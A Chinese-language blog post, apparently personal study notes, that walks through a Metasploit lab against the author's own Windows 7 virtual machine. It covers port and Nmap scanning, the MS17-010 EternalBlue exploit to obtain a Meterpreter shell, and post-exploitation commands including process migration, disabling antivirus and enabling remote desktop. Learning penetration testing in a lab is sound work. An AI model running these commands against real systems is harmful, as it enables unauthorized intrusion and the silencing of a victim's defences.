Metasploit学习笔记(二)
接下来就开始实际操作吧,结合上一篇的理论,实践是最快的学习方式
-
首先,进入kali-漏洞利用工具集-metasploit framework
-
点击,进入msf
有红色的哈哈哈
还有蓝色的哈哈哈 -
接下来就开始使用Metasploit Framework进行渗透测试步骤啦!
主机扫描
一般来说,信息收集都是渗透测试的第一步,要尽可能多的收集目标主机的信息,信息越多越有利,渗透的概率也越大。主机扫描主要的重点是扫描目标主机IP地址、开放的端口、可用的服务等。
使用Auxiliaries辅助模块进行端口扫描
Auxiliaries辅助模块是Metasploit的内置模块,首先搜索有哪些可用端口模块,命令:search portscan
从图中可以看到可用的扫描器列表,包含了各种扫描类型,那就以TCP扫描模块为例吧!
使用该扫描模块,命令:use auxiliary/scanner/portscan/tcp
使用该模块后,查看需要修改的参数配置,命令:show options
图中,Required列中,被标记为yes的参数必须包含实际的值,其中RHOSTS设置待扫描的IP地址、PORTS设置扫描端口范围、THREADS设置扫描线程,线程数量越高,扫描速度越快。
对于每个参数的修改可以使用set
命令,同样的可以使用unset
命令取消对参数的设置。
设置被扫描主机地址:192.168.49.132
命令为:set RHOSTS 192.168.49.132
设置扫描端口范围:1-500
命令为:set PORTS 1-500
设置线程数量:20
命令为:set THREADS 20
我们看看参数修改成功了没,还是输入show options
可以看到设置的参数已经修改成功,接下来运行模块就好了,使用命令:run
可以看到模块扫描完成了,目标主机开了139、135、445三个端口。
使用Auxiliaries辅助模块对开放服务进行扫描
扫描目标主机上运行的服务时,有很多种基于服务的扫描技术可供选择,如:VNC、FTP、SMB等,只需要执行特定类型的扫描就可以发现服务。
通过命令:search scanner
可以把所有的扫描模块列表都罗列出来,有很多很多可以用的模块,具体操作跟端口扫描模块基本相同,可以自己体验一下。
在Metasploit中使用Nmap扫描
在Metasploit中同样可以使用Nmap扫描,因为他有第三方接口,Nmap不仅可以用来确定目标网络上主机的存活状态,还可以扫描计算机的操作系统、开放端口、服务等。
在msf命令提示符下直接输入nmap
,就可以显示nmap提供的所有扫描选项列表
根据提示的扫描模块进行选择,比如现在我们想获取目标主机操作系统,就可以输入命令:nmap -O -Pn 192.168.49.132
可以看到目标主机的操作系统为Windows 7|2008|8.1
漏洞利用
通过收集到的信息,开放的端口、操作系统、可用的服务进行选择攻击,这里通过信息收集,已经知道目标主机有远程执行,并且开放了445,就可以利用经典的永恒之蓝ms17-010获取目标主机shell,进行远程操控了,也可以看之前的文章: 永恒之蓝ms17-010漏洞利用.
与之前不同,之前进入Meterpreter Shell时,直接通过shell命令进入win7,本篇文章将继续进行后渗透攻击。
1、搜索ms17-010漏洞利用模块
msf auxiliary(scanner/smb/smb_ms17_010) > search ms17-010
会显示所有ms17-010漏洞可以利用的模块信息
2、使用auxiliary(scanner/smb/smb_ms17_010)模块(进行攻击)
msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
3、查看auxiliary(scanner/smb/smb_ms17_010)模块的配置信息,命令: show options
。会显示auxiliary(scanner/smb/smb_ms17_010)模块的所有配置信息
4、接下来,在攻击模块里设置win7靶机的IP,命令:set rhost 192.168.49.132
5、使用exploit或run命令进行攻击,命令:exploit
。运行结束后,获取到了meterpreter权限
后渗透攻击
Metasploit提供了一个非常强大的后渗透工具------Meterpreter。
Meterpreter具有以下优势:
- 纯内存工作模式,不需要对磁盘进行任何写入操作。
- 使用加密通信协议,可以同时与多个信道通信。
- 在被攻击进程内工作,不需要创建新的进程。
- 易于在多进程之间迁移。
- 平台通用,适用于Windows、Linux、BSD系统,并支持Intel x86和Intel x64平台。
进程迁移
在刚获得Meterpreter Shell时,该Shell是极其脆弱和易受攻击的,例如攻击者利用浏览器漏洞攻陷机器,浏览器可能会被用户关闭,所以要移动这个shell,让它跟一个稳定的进程绑在一起,而且不需要对磁盘进行任何的写入操作,这样渗透更难检测到。
使用ps
命令获取目标主机正在运行的进程。
使用命令:getpid
,查看Meterpreter Shell的进程号。
可以看到Meterpreter Shell进程的PID为1044,Name为 spoolsv.exe,然后输入命令:migrate 448
,把shell移动到PID为448的services.exe进程里,因为该进程是一个必要的进程,比较稳定。
修改提示successful成功后,在输入getpid
查看Meterpreter Shell端口号,可以看到已经更改成功。
进程迁移之后。原先1044的进程就会自动关闭,如果没有自动关闭,可以输入kill 1044
来结束进程。这一步,也可以使用自动迁移进程命令run post/windows/manage/migrate
,使用该命令后,系统会自动寻找合适的进程进行迁移。
可以看到使用该命令后,已经自动将进程号448改为了1580。
收集系统信息
进程稳定后,接下来要收集系统信息。
输入sysinfo
命令查看目标机的系统信息,如操作系统、使用语言、体系结构等。
输入run post/windows/gather/checkvm
,检查目标主机是否运营在虚拟机上。
可以看到当前目标主机运行在虚拟机上。(我的虚拟机里开的win7)
输入idletime
,查看目标主机是否正在运行,会显示最近目标主机的运行时间。
可以看到目标主机正在运行,而且已经运行了6小时40分钟48秒。
输入route
,查看目标主机的完整网络设置,包括网关、掩码、接口等。
输入background
,将当前会话放入后台。(适合在多个Meterpreter会话中使用)
输入getuid
,查看目标机器已经渗透成功的用户名。
输入run post/windows/manage/killav
,关闭目标主机系统杀毒软件。
输入run post/windows/manage/enable_rdp
,启动远程桌面协议。(端口号3389)
可以看到成功的打开了远程桌面协议。
权限提升
提权分为两种:横向提权、纵向提权。
横向提权:获取同级别用户权限。
纵向提权:低权限用户获取高权限用户权限。
在Meterpreter Shell下直接输入shell
,进入目标主机cmd命令行。
可以输入exit停止Shell会话,返回Meterpreter。
输入whoami/groups,查看当前权限。
可以看到,当前权限是Mandatory Label\System Mandatory Level,说明我们已经是系统完整性级别,已经是最高权限了。
本文完全是自己现在刚开始学习msf的笔记,如有错误或者其他想法,也都可以批评建议,我都会虚心学习,谢谢大家,欢迎一起学习讨论!